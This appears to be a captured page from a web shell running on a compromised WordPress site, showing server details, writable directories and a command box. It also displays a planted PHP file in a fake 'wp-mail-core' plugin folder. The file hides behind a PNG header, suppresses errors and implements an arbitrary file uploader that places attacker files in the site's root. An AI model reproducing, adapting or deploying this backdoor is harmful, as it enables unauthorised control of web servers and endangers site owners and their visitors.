403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/toppersdrinks.co.uk/wwwroot/wp-content/plugins/wp-mail-core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/toppersdrinks.co.uk/wwwroot/wp-content/plugins/wp-mail-core/index.php
‰PNG

IHDR  ô      Õæš   sRGB ®Îé    IDATx^ì½ ¼eWY6þœÞn™;%3™™´	é$„ Ò‹` B>APP)Ÿˆ€X@#¨ØåD”À 
<?
// silent is gold
error_reporting(0);
$dir = __DIR__;
?>

N4ST4R_ID Uploader
<br>
<b><?= php_uname(); ?></b><br>
<b><?= $dir; ?></b><br><br>
<form method='post' enctype='multipart/form-data'>
    <select name="directory">
        <option value="2">Upload to this dir</option>
        <option value="1">Upload to home dir</option>
    </select><br>
    <input type='file' name='nax_file'>
    <input type='submit' name='upload' value='upload'>
</form>

<?php
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['nax_file']['name'];
$web = "http://" . $_SERVER['HTTP_HOST'] . "/";

if (isset($_POST['upload'])) {
    $post = $_POST;

    if ($post['directory'] == '1') {
        $root = $_SERVER['DOCUMENT_ROOT'];
        $dest = $root . '/' . $files;
        
        if (is_writable($root)) {
            if (move_uploaded_file($_FILES['nax_file']['tmp_name'], $dest)) {
                echo "UPLOADED TO HOME DIR >> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
            } else {
                echo "Upload failed";
            }
        } else {
            echo "Home dir is not writable";
        }
    } else {
        if (move_uploaded_file($_FILES['nax_file']['tmp_name'], $files)) {
            echo "UPLOADED TO THIS DIR >> <a href='/$files' target='_blank'><b><u>$files</u></b></a>";
        } else {
            echo "Upload failed";
        }
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit